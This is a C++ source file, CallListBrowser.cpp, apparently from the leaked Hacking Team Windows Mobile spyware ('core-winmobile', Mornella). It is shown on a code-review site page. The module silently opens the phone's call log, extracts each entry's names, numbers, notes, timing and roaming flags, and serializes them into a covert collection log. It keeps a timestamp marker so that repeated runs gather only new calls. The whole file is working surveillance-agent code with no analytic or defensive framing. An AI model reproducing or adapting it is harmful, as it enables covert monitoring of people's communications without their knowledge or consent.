hackedteam/core-winmobile

View on GitHub
Mornella/Mornella_Mobile/CallListBrowser.cpp

Summary

Maintainability
Test Coverage
#include <new>
#include "CallListBrowser.h"

CallListBrowser::CallListBrowser(void) : m_hPhoneCallLog(NULL), m_dwEntries(0)
{
    Serializer = new(std::nothrow) CallListSerializer;
    ZeroMemory(&m_ft, sizeof(FILETIME));
}

CallListBrowser::~CallListBrowser(void)
{
    delete Serializer;
}

void CallListBrowser::Run(UINT uAgentId)
{
    m_uAgentId = uAgentId;

    HRESULT hr = PhoneOpenCallLog(&m_hPhoneCallLog);

    if (hr != S_OK)
        return;

    m_dwEntries = getEntriesNumber();

    if (m_dwEntries > 0) {
        RetrieveCallList();    
    }

    PhoneCloseCallLog(m_hPhoneCallLog);
}

DWORD CallListBrowser::getEntriesNumber()
{
    HRESULT hr = NOERROR;
    DWORD dwEntrieNum = 0;

    hr = PhoneSeekCallLog(m_hPhoneCallLog, CALLLOGSEEK_END, 0, &dwEntrieNum);

    if (hr == E_FAIL) {
        return 0;
    }

    // dall'msdn aggiungere una entry 
    return dwEntrieNum + 1;
}

void CallListBrowser::RetrieveCallList(void)
{
    BOOL bLogCreated = FALSE;
    HRESULT hr = NOERROR;
    UINT    uIndex = 0, uLen;
    CALLLOGENTRY    callEntry;
    CallStruct        callStruct;
    BYTE* pBuf;

    // Ci portiamo all'iniziodella lista
    hr = PhoneSeekCallLog(m_hPhoneCallLog, CALLLOGSEEK_BEGINNING, 0, NULL);

    if (hr == E_FAIL) {
        return;
    }

    ReadMarkupPosition();

    while (uIndex < m_dwEntries) {

        pBuf = NULL;
        uLen = 0;

        CLEAN_CALLSTRUCT(callStruct);
        ZeroMemory(&callEntry, sizeof(CALLLOGENTRY));
        callEntry.cbSize = sizeof(CALLLOGENTRY);
        uIndex++;

        hr = PhoneGetCallLogEntry(m_hPhoneCallLog, &callEntry);
        if (hr != S_OK) {
            FREE_CALLLOGENTRY(callEntry);
            // se sono all'ultimo elemento breakko altrimenti continuo il loop
            if (hr == S_FALSE)
                break;
            else 
                continue;
        }

        BOOL bRet = FillCallEntryStruct(&callEntry, &callStruct, &uLen);
        FREE_CALLLOGENTRY(callEntry);
        if (bRet == FALSE || uLen < CALLLIST_HEADER_LEN) {
            FREE_CALLSTRUCT(callStruct);
            continue;
        }

        pBuf = new(std::nothrow) BYTE[uLen];

        if (pBuf == NULL) {
            FREE_CALLSTRUCT(callStruct);
            continue;            
        }

        Serializer->Serialize(&callStruct, pBuf);
        FREE_CALLSTRUCT(callStruct);

        if (bLogCreated == FALSE) {
            bRet = callListLog.CreateLog(LOGTYPE_CALLLIST, NULL, 0, FLASH);

            if (bRet == FALSE) {
                SAFE_DELETE(pBuf);
                continue;
            }
            bLogCreated = TRUE;    
        }
        callListLog.WriteLog(pBuf, uLen);
        SAFE_DELETE(pBuf);
    }
    callListLog.CloseLog(FALSE);
    WriteMarkupPosition();
}

BOOL CallListBrowser::FillCallEntryStruct(CALLLOGENTRY* TmpCALLLOGENTRY, CallStruct* pTmpCallStruct, UINT* uLen)
{
#define GETSTRING(x, y)                                                    \
    if (TmpCALLLOGENTRY->x != NULL) {                                    \
        len = wcslen(TmpCALLLOGENTRY->x);                                \
        if (len > 0) {                                                    \
            pTmpCallStruct->y = (UINT) sizeof(TCHAR) * len;                \
            pTmpCallStruct->x  = new(std::nothrow) WCHAR[len+1];        \
            ZeroMemory(pTmpCallStruct->x, sizeof(WCHAR)*(len+1));        \
            if (pTmpCallStruct->x == NULL)                                \
                pTmpCallStruct->y = 0;                                    \
            else{                                                        \
                wcscpy_s(pTmpCallStruct->x, len + 1, TmpCALLLOGENTRY->x);\
                *uLen += sizeof(DWORD);                                    \
                *uLen += pTmpCallStruct->y;                                \
            }                                                            \
        }else {                                                            \
            pTmpCallStruct->y = 0;                                        \
        }                                                                \
    }else{                                                                \
        pTmpCallStruct->x = NULL;                                        \
        pTmpCallStruct->y = 0;                                            \
    }

    if(TmpCALLLOGENTRY == NULL || pTmpCallStruct == NULL || uLen == NULL)
        return FALSE;

    if(m_ft.dwHighDateTime != 0 || m_ft.dwLowDateTime != 0) {
        ULARGE_INTEGER time1;
        ULARGE_INTEGER time2;
        time1.HighPart = m_ft.dwHighDateTime;
        time1.LowPart  = m_ft.dwLowDateTime;

        time2.HighPart = TmpCALLLOGENTRY->ftStartTime.dwHighDateTime;
        time2.LowPart  = TmpCALLLOGENTRY->ftStartTime.dwLowDateTime;

        if(time1.QuadPart > time2.QuadPart)
            return FALSE;
    }

    pTmpCallStruct->ftStartTime = TmpCALLLOGENTRY->ftStartTime; 
    pTmpCallStruct->ftEndTime    = TmpCALLLOGENTRY->ftEndTime;
    pTmpCallStruct->dwProperties = 0;

    if(TmpCALLLOGENTRY->fOutgoing)    pTmpCallStruct->dwProperties |= 0x01;    // direction of call.  (Missed calls are incoming.)
    if(TmpCALLLOGENTRY->fConnected)    pTmpCallStruct->dwProperties |= 0x02;    // Did the call connect? (as opposed to busy, no answer)
    if(TmpCALLLOGENTRY->fEnded)        pTmpCallStruct->dwProperties |= 0x04;    // Was the call ended? (as opposed to dropped)
    if(TmpCALLLOGENTRY->fRoam)        pTmpCallStruct->dwProperties |= 0x08;    // Roaming (vs. local)

    *uLen = CALLLIST_HEADER_LEN;

    size_t len = 0;

    GETSTRING(pszName, uNameSize);
    GETSTRING(pszNameType, uNameTypeSize);
    GETSTRING(pszNote, uNoteSize);
    GETSTRING(pszNumber, uNumberSize);

    pTmpCallStruct->cbSize = *uLen;

    return TRUE;
}

void CallListBrowser::ReadMarkupPosition()
{
    if (callListMarkup.IsMarkup(m_uAgentId)){
        BYTE *pDataMarkup = NULL; 
        UINT len = sizeof(FILETIME);

        pDataMarkup = callListMarkup.ReadMarkup(m_uAgentId, &len);

        if (pDataMarkup != NULL) {
            CopyMemory(&m_ft, pDataMarkup, sizeof(FILETIME));
            delete[] pDataMarkup;
        }
    }
    return;
}

void CallListBrowser::WriteMarkupPosition(void)
{
    SYSTEMTIME st;
    GetSystemTime(&st);
    SystemTimeToFileTime(&st, &m_ft);
    callListMarkup.WriteMarkup(m_uAgentId,(BYTE *)&m_ft, sizeof(FILETIME));
    return;
}

//

void CallListSerializer::Serialize(CallStruct* pTmpCallStruct, PBYTE &pBuf)
{
    BYTE *pPtr = pBuf;

    CopyMemory(pPtr, pTmpCallStruct, CALLLIST_HEADER_LEN);
    pPtr += CALLLIST_HEADER_LEN;

    if(pTmpCallStruct->uNameSize > 0){
        UINT serlen = _SerializeString(pPtr, pTmpCallStruct->pszName, CALLLIST_STRING_NAME);    
        pPtr += serlen;
    }
    if(pTmpCallStruct->uNameTypeSize > 0){
        UINT serlen = _SerializeString(pPtr, pTmpCallStruct->pszNameType, CALLLIST_STRING_NAMETYPE);    
        pPtr += serlen;
    }
    if(pTmpCallStruct->uNoteSize > 0){
        UINT serlen = _SerializeString(pPtr, pTmpCallStruct->pszNote, CALLLIST_STRING_NOTE);    
        pPtr += serlen;
    }
    if(pTmpCallStruct->uNumberSize > 0){
        UINT serlen = _SerializeString(pPtr, pTmpCallStruct->pszNumber, CALLLIST_STRING_NUMBER);    
        pPtr += serlen;
    }
}

DWORD CallListSerializer::_SerializeString(LPBYTE lpDest, LPTSTR lpString, int entryType)
{
    ASSERT(lpDest);
    DWORD dwStringLength = 0;

    if (lpString == NULL)
        return 0;

    dwStringLength = wcslen(lpString) * sizeof(WCHAR);
    if (dwStringLength == 0)
        return 0;

    // copy prefix and string *** WITHOUT NULL TERMINATOR ***
    DWORD prefix = _Prefix(dwStringLength, entryType);
    CopyMemory(lpDest, &prefix, sizeof(prefix));
    CopyMemory((lpDest + sizeof(prefix)), lpString, dwStringLength);

    return sizeof(prefix) + dwStringLength;
}

DWORD CallListSerializer::_Prefix(DWORD dwLength, int entryType)
{
    DWORD prefix = dwLength;
    prefix &= CALLLIST_TYPE_MASK;    // clear type bits
    prefix |= (DWORD)entryType; 

    return prefix;
}